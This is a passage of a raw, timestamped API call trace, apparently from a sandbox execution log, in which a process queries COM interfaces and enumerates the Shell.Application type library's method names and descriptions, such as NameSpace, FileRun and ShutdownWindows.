(This=0x1b7b4e78) returned 0x3 [0091.954] CoGetContextToken (in: pToken=0x1c7ad900 | out: pToken=0x1c7ad900) returned 0x0 [0091.954] Shell:IUnknown:AddRef (This=0x1b7b4f90) returned 0x4 [0091.954] Shell:IUnknown:QueryInterface (in: This=0x1b7b4f90, riid=0x7fee49ed280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ada18 | out: ppvObject=0x1c7ada18*=0x1b7b4f60) returned 0x0 [0091.954] Shell:IUnknown:Release (This=0x1b7b4f90) returned 0x4 [0091.954] Shell:IRpcOptions:Query (in: This=0x1b7b4f60, pPrx=0x1b7b4f90, dwProperty=2, pdwValue=0x1c7ada88 | out: pdwValue=0x1c7ada88) returned 0x80004002 [0091.954] Shell:IUnknown:Release (This=0x1b7b4f60) returned 0x3 [0091.954] Shell:IUnknown:Release (This=0x1b7b4f90) returned 0x2 [0091.954] CoGetContextToken (in: pToken=0x1c7ade00 | out: pToken=0x1c7ade00) returned 0x0 [0091.954] CoGetContextToken (in: pToken=0x1c7add40 | out: pToken=0x1c7add40) returned 0x0 [0091.954] Shell:IUnknown:AddRef (This=0x1b7b4f90) returned 0x3 [0091.955] Shell:IUnknown:QueryInterface (in: This=0x1b7b4f90, riid=0x1c7ade80*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ade60 | out: ppvObject=0x1c7ade60*=0x1b7ba7a8) returned 0x0 [0091.955] Shell:IUnknown:Release (This=0x1b7b4f90) returned 0x3 [0091.955] Shell:IUnknown:Release (This=0x1b7ba7a8) returned 0x2 [0091.955] Shell:IUnknown:Release (This=0x1b7ba7a8) returned 0x1 [0091.959] CoGetContextToken (in: pToken=0x1c7adfe0 | out: pToken=0x1c7adfe0) returned 0x0 [0091.959] CoGetContextToken (in: pToken=0x1c7adf20 | out: pToken=0x1c7adf20) returned 0x0 [0091.959] Shell:IUnknown:AddRef (This=0x1b7b4f90) returned 0x2 [0091.959] Shell:IUnknown:QueryInterface (in: This=0x1b7b4f90, riid=0x1c7ae060*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ae040 | out: ppvObject=0x1c7ae040*=0x1b7ba7a8) returned 0x0 [0091.959] Shell:IUnknown:Release (This=0x1b7b4f90) returned 0x2 [0091.959] Shell:IUnknown:AddRef (This=0x1b7ba7a8) returned 0x3 [0091.959] ITypeInfo:RemoteGetTypeAttr (in: This=0x1b7ba7a8, ppTypeAttr=0x1c7ae2e0, pDummy=0x0 | out: ppTypeAttr=0x1c7ae2e0, pDummy=0x0) returned 0x0 [0091.960] Shell:IUnknown:Release (This=0x1b7ba7a8) returned 0x2 [0091.962] ITypeInfo:LocalReleaseTypeAttr (This=0x1b7ba7a8) returned 0xce00da0001 [0091.963] ITypeInfo:GetRefTypeOfImplType (in: This=0x1b7ba7a8, index=0xffffffff, pRefType=0x1c7ae3a0 | out: pRefType=0x1c7ae3a0*=0xfffffffe) returned 0x0 [0091.964] ITypeInfo:GetRefTypeInfo (in: This=0x1b7ba7a8, hreftype=0xfffffffe, ppTInfo=0x1c7ae398 | out: ppTInfo=0x1c7ae398*=0x1b7ba8f8) returned 0x0 [0091.965] Shell:IUnknown:QueryInterface (in: This=0x1b7ba8f8, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7adc10 | out: ppvObject=0x1c7adc10*=0x1b7b5290) returned 0x0 [0091.965] Shell:IUnknown:QueryInterface (in: This=0x1b7b5290, riid=0x7fee49ed850*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1c7adc90 | out: ppvObject=0x1c7adc90*=0x0) returned 0x80004002 [0091.965] Shell:IUnknown:QueryInterface (in: This=0x1b7b5290, riid=0x7fee49ed2c0*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1c7ada28 | out: ppvObject=0x1c7ada28*=0x0) returned 0x80004002 [0091.966] Shell:IUnknown:AddRef (This=0x1b7b5290) returned 0x3 [0091.966] CoGetContextToken (in: pToken=0x1c7ad8e0 | out: pToken=0x1c7ad8e0) returned 0x0 [0091.966] Shell:IUnknown:QueryInterface (in: This=0x1b7b5290, riid=0x7fee49ed2b0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad8a0 | out: ppvObject=0x1c7ad8a0*=0x1b7b5178) returned 0x0 [0091.966] Shell:IMarshal:GetUnmarshalClass (in: This=0x1b7b5178, riid=0x7fee49ed260*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1c7ad8d0 | out: pCid=0x1c7ad8d0*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0091.966] Shell:IUnknown:Release (This=0x1b7b5178) returned 0x3 [0091.966] CoGetContextToken (in: pToken=0x1c7ad8b0 | out: pToken=0x1c7ad8b0) returned 0x0 [0091.966] Shell:IUnknown:AddRef (This=0x1b7b5290) returned 0x4 [0091.966] Shell:IUnknown:QueryInterface (in: This=0x1b7b5290, riid=0x7fee49ed280*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ad9c8 | out: ppvObject=0x1c7ad9c8*=0x1b7b5260) returned 0x0 [0091.966] Shell:IUnknown:Release (This=0x1b7b5290) returned 0x4 [0091.966] Shell:IRpcOptions:Query (in: This=0x1b7b5260, pPrx=0x1b7b5290, dwProperty=2, pdwValue=0x1c7ada38 | out: pdwValue=0x1c7ada38) returned 0x80004002 [0091.966] Shell:IUnknown:Release (This=0x1b7b5260) returned 0x3 [0091.967] Shell:IUnknown:Release (This=0x1b7b5290) returned 0x2 [0091.967] CoGetContextToken (in: pToken=0x1c7addb0 | out: pToken=0x1c7addb0) returned 0x0 [0091.967] CoGetContextToken (in: pToken=0x1c7adcf0 | out: pToken=0x1c7adcf0) returned 0x0 [0091.967] Shell:IUnknown:AddRef (This=0x1b7b5290) returned 0x3 [0091.967] Shell:IUnknown:QueryInterface (in: This=0x1b7b5290, riid=0x1c7ade30*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7ade10 | out: ppvObject=0x1c7ade10*=0x1b7ba8f8) returned 0x0 [0091.967] Shell:IUnknown:Release (This=0x1b7b5290) returned 0x3 [0091.967] Shell:IUnknown:Release (This=0x1b7ba8f8) returned 0x2 [0091.967] Shell:IUnknown:Release (This=0x1b7ba8f8) returned 0x1 [0091.968] CoGetContextToken (in: pToken=0x1c7adc20 | out: pToken=0x1c7adc20) returned 0x0 [0091.968] CoGetContextToken (in: pToken=0x1c7adb60 | out: pToken=0x1c7adb60) returned 0x0 [0091.968] Shell:IUnknown:AddRef (This=0x1b7b5290) returned 0x2 [0091.968] Shell:IUnknown:QueryInterface (in: This=0x1b7b5290, riid=0x1c7adca0*(Data1=0x20401, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1c7adc80 | out: ppvObject=0x1c7adc80*=0x1b7ba8f8) returned 0x0 [0091.968] Shell:IUnknown:Release (This=0x1b7b5290) returned 0x2 [0091.968] Shell:IUnknown:AddRef (This=0x1b7ba8f8) returned 0x3 [0091.968] ITypeInfo:RemoteGetTypeAttr (in: This=0x1b7ba8f8, ppTypeAttr=0x1c7adf20, pDummy=0x0 | out: ppTypeAttr=0x1c7adf20, pDummy=0x0) returned 0x0 [0091.969] Shell:IUnknown:Release (This=0x1b7ba8f8) returned 0x2 [0091.969] ITypeInfo:LocalReleaseTypeAttr (This=0x1b7ba8f8) returned 0xd000da0001 [0091.970] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x7, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.971] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xd100da0001 [0091.972] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743808, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x9 | out: pbstrName=0x1c7ae038*="Get Application object", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x9) returned 0x0 [0091.978] SysStringLen (param_1="Application") returned 0xb [0091.978] SysStringLen (param_1="Get Application object") returned 0x16 [0091.981] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x8, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.981] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xd300da0001 [0091.981] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743809, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Get Parent object", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.981] SysStringLen (param_1="Parent") returned 0x6 [0091.981] SysStringLen (param_1="Get Parent object") returned 0x11 [0091.982] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x9, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.982] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xd400da0001 [0091.982] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743810, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Get special folder from ShellSpecialFolderConstants", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.982] SysStringLen (param_1="NameSpace") returned 0x9 [0091.982] SysStringLen (param_1="Get special folder from ShellSpecialFolderConstants") returned 0x33 [0091.982] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0xa, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.983] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xd500f20001 [0091.983] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743811, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Browse the name space for a Folder", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.983] SysStringLen (param_1="BrowseForFolder") returned 0xf [0091.983] SysStringLen (param_1="Browse the name space for a Folder") returned 0x22 [0091.983] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0xb, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.983] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xd600f20001 [0091.983] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743812, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="The collection of open folder windows", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.984] SysStringLen (param_1="Windows") returned 0x7 [0091.984] SysStringLen (param_1="The collection of open folder windows") returned 0x25 [0091.984] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0xc, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.984] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xd800da0001 [0091.984] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743813, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Open a folder", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.985] SysStringLen (param_1="Open") returned 0x4 [0091.985] SysStringLen (param_1="Open a folder") returned 0xd [0091.985] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0xd, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.985] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xda00f20001 [0091.985] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743814, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Explore a folder", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.985] SysStringLen (param_1="Explore") returned 0x7 [0091.985] SysStringLen (param_1="Explore a folder") returned 0x10 [0091.985] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0xe, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.986] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xdb00f20001 [0091.986] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743815, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Minimize all windows", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.986] SysStringLen (param_1="MinimizeAll") returned 0xb [0091.986] SysStringLen (param_1="Minimize all windows") returned 0x14 [0091.986] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0xf, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.986] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xdc00f20001 [0091.986] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743816, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Undo Minimize All", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.986] SysStringLen (param_1="UndoMinimizeALL") returned 0xf [0091.986] SysStringLen (param_1="Undo Minimize All") returned 0x11 [0091.986] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x10, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.987] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xdd00f20001 [0091.987] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743817, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Bring up the file run", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.987] SysStringLen (param_1="FileRun") returned 0x7 [0091.987] SysStringLen (param_1="Bring up the file run") returned 0x15 [0091.987] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x11, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.987] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xde00f20001 [0091.987] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743818, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Cascade Windows", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.988] SysStringLen (param_1="CascadeWindows") returned 0xe [0091.988] SysStringLen (param_1="Cascade Windows") returned 0xf [0091.988] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x12, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.988] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xdf00f20001 [0091.988] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743819, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Tile windows vertically", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.988] SysStringLen (param_1="TileVertically") returned 0xe [0091.988] SysStringLen (param_1="Tile windows vertically") returned 0x17 [0091.988] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x13, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.989] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe000f20001 [0091.989] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743820, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Tile windows horizontally", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.989] SysStringLen (param_1="TileHorizontally") returned 0x10 [0091.989] SysStringLen (param_1="Tile windows horizontally") returned 0x19 [0091.989] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x14, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.989] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe100f20001 [0091.989] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743821, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Exit Windows", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.989] SysStringLen (param_1="ShutdownWindows") returned 0xf [0091.989] SysStringLen (param_1="Exit Windows") returned 0xc [0091.989] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x15, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.990] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe200f20001 [0091.990] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743822, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Suspend the pc", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.990] SysStringLen (param_1="Suspend") returned 0x7 [0091.990] SysStringLen (param_1="Suspend the pc") returned 0xe [0091.990] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x16, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.990] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe300f20001 [0091.990] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743823, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Eject the pc", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.990] SysStringLen (param_1="EjectPC") returned 0x7 [0091.990] SysStringLen (param_1="Eject the pc") returned 0xc [0091.991] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x17, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.991] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe400f20001 [0091.991] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743824, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Bring up the Set time dialog", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.991] SysStringLen (param_1="SetTime") returned 0x7 [0091.991] SysStringLen (param_1="Bring up the Set time dialog") returned 0x1c [0091.991] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x18, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.991] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe500f20001 [0091.991] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743825, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Handle Tray properties", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.992] SysStringLen (param_1="TrayProperties") returned 0xe [0091.992] SysStringLen (param_1="Handle Tray properties") returned 0x16 [0091.992] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x19, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.992] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe600f20001 [0091.992] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743826, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Display shell help", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.992] SysStringLen (param_1="Help") returned 0x4 [0091.992] SysStringLen (param_1="Display shell help") returned 0x12 [0091.992] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1a, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.992] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe700f20001 [0091.993] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743827, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Find Files", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.993] SysStringLen (param_1="FindFiles") returned 0x9 [0091.993] SysStringLen (param_1="Find Files") returned 0xa [0091.993] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1b, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.993] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe800f20001 [0091.993] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743828, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Find a computer", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.993] SysStringLen (param_1="FindComputer") returned 0xc [0091.993] SysStringLen (param_1="Find a computer") returned 0xf [0091.993] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1c, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.994] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xe900f20001 [0091.994] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743829, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Refresh the menu", pBstrDocString=0x1c7ae030*=0x0, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.994] SysStringLen (param_1="RefreshMenu") returned 0xb [0091.994] SysStringLen (param_1="Refresh the menu") returned 0x10 [0091.994] ITypeInfo:RemoteGetFuncDesc (in: This=0x1b7ba8f8, index=0x1d, ppFuncDesc=0x1c7adf30, pDummy=0x0 | out: ppFuncDesc=0x1c7adf30, pDummy=0x0) returned 0x0 [0091.994] ITypeInfo:LocalReleaseFuncDesc (This=0x1b7ba8f8) returned 0xeb00da0001 [0091.994] ITypeInfo:RemoteGetDocumentation (in: This=0x1b7ba8f8, memid=1610743830, refPtrFlags=0x1c7ae040, pbstrName=0x1c7ae038, pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028, pBstrHelpFile=0x0 | out: pbstrName=0x1c7ae038*="Run a Control Panel Item", pBstrDocString=0x1c7ae030, pdwHelpContext=0x1c7ae028*=0x0, pBstrHelpFile=0x0) returned 0x0 [0091.994] SysStringLen (param_1="ControlPanelItem") returned 0x10 [0091.994] SysStringLen (param_1="Run a Control Panel Item") returned 0x18 [0091.995] 